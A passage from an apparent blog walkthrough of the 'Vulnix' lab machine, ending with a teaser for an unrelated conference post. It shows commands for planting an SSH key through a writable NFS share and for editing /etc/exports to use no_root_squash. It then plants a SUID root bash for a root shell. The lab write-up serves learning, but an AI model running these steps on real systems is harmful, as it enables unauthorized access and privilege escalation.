vulnix@kali:~/.ssh$ mv id_rsa.pub  authorized_keys
vulnix@kali:~/.ssh$ ls -ltrh
total 12K
-rw------- 1 vulnix vulnix 2,6K ago 23 11:54 id_rsa
-rw-r--r-- 1 vulnix vulnix  565 ago 23 11:54 authorized_keys
-rw-r--r-- 1 vulnix vulnix  222 ago 23 11:59 known_hosts

4. Using NfsSpy tool that allow mount and manipulate the data content of  nfs/ shared filesystem:

git clone https://github.com/bonsaiviking/NfSpy.git
Clonando en 'NfSpy'...
remote: Enumerating objects: 399, done.
remote: Total 399 (delta 0), reused 0 (delta 0), pack-reused 399
Recibiendo objetos: 100% (399/399), 99.07 KiB | 1.08 MiB/s, listo.
Resolviendo deltas: 100% (218/218), listo.

sudo PYTHONPATH=. python scripts/nfspysh -o server=192.168.1.33:/home/vulnix
[sudo] password for kali: 
nfspy@192.168.1.33:/home/vulnix:/> ls
/:
040750   2008   2008        4096 2021-08-23 02:34:14 .
100644   2008   2008         220 2012-04-03 17:58:14 .bash_logout
040755   2008   2008        4096 2021-08-23 02:34:36 .ssh
100644   2008   2008         675 2012-04-03 17:58:14 .profile
040750   2008   2008        4096 2021-08-23 02:34:14 ..
100644   2008   2008        3486 2012-04-03 17:58:14 .bashrc
nfspy@192.168.1.33:/home/vulnix:/> cd .ssh      

5. Put the content of authorized_keys on the same path in the shared filesystem /home/vulnix/.ssh:

 put /home/vulnix/.ssh/authorized_keys
nfspy@192.168.1.33:/home/vulnix:/.ssh> ls -ltrh
No such file or directory
nfspy@192.168.1.33:/home/vulnix:/.ssh> ls
/.ssh:
040755   2008   2008        4096 2021-08-23 07:22:12 .
100644   2008   2008         565 2021-08-23 07:22:12 authorized_keys
040750   2008   2008        4096 2021-08-23 02:34:14 ..
100644   2008   2008         565 2021-08-23 07:15:45 id_rsa.pub

File content:
cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBIVl8fAdsBPmMaPIxuN9r9r24NSnmpMdY1MhGKHYy840aomOxPUJRt2+bKh+nAqHpa1zW5+P4x0R5UEBxm4RLaxPmFySp7oqcjbf2EOYyHpxt1oT1p5B0PdXAA4KBHXq19GQMh6pjyrh9qSzHpGogVLfCg2/Hi2Mr4MFJWNmSB8oVvNPa5XJLY6rNDqU00YZy4m7pFWU7vr/EKwbdSBVby9htJuqEQixoltQ51ZcjGe3Es30Dk4juRbjQGrAuvoXMIRMa64znFs8rJgNHuiy1pwqfL7iSK52VWzikYhPANfF7lWyAtBpgcDmfAve0xXXnXJ4zxJjBZttgiqL5Jp2OKmzfWXYGctmCUhhrJ5geV1nmYDD6W4ehphrf4SnZZol6GjygAPlObQHE3L8MRh40M51xf7a1s5O9CEpLXSCssVrSQ9Ks8T+32QrpaCq8SHwCrHUh2kAY5a0qufOuqbOwmZr0B79+P17aIs2ahA5dFUD/6Waat9f4B41XcduO2mc= vulnix@kali


6. SSH connection.

Using ssh connection with user vulnix, from the attacker machine to target server, (launched process with local vulnix user ssh vulnix@192.168.1.33):




PRIVILEGE ESCALATION:

We should review sudo permissions for vulnix user:

vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports

 And we found that the system allow execute the following command with root privileges, to vulnix user:

 sudoedit /etc/exports 

 cat /etc/exports 
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix    *(rw,root_squash)

The root_squash option , don't allow modification with root privileges on external filesystem.

But we can modify the configuration file: /etc/exports  with root privileges.

cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
#/home/vulnix   *(rw,no_root_squash)
/       *(rw,no_root_squash)


On the attacker machine, we can mount the nfs filesystem such a partition over our local Operating System.

root@kali:/mnt# mkdir /mnt/vulnix
root@kali:/mnt# mount.nfs 192.168.1.33:/ /mnt/vulnix/
root@kali:/mnt# cd vulnix/
root@kali:/mnt/vulnix# ls -ltrh
total 4,0K
drwxr-xr-x 4 nobody 4294967294 4,0K sep  2  2012 home

And with the prvious configuration (/       *(rw,no_root_squash)), If you copy the bash binary file from attacker machine with root user ,
the target machine 'll understand that the local owner of the  binary file is root too.

root@kali:/mnt/vulnix/home/vulnix# cp /tmp/bash .

So we can assign suid execution privileges on the new bash binary, this privilege allow the execute user make the operation with the owner binary file privileges in that case root: 

root@kali:/mnt/vulnix/home/vulnix# chmod 4777 bash


And on the target machine we exploit suid with ./bash -p




And this is all for this lab machine, I hope that you enjoy with the Linux server and you'll follow my blog [https://roadtooscp-f0ns1.blogspot.com/]. We'll keep in touch.

with kind regards, f0ns1




Mi primera experiencia en una conferencia:

En la jornada posterior a un evento importante toca analizar, en este caso me centro en mi participación como speaker en #librecon2022. ¿Cóm...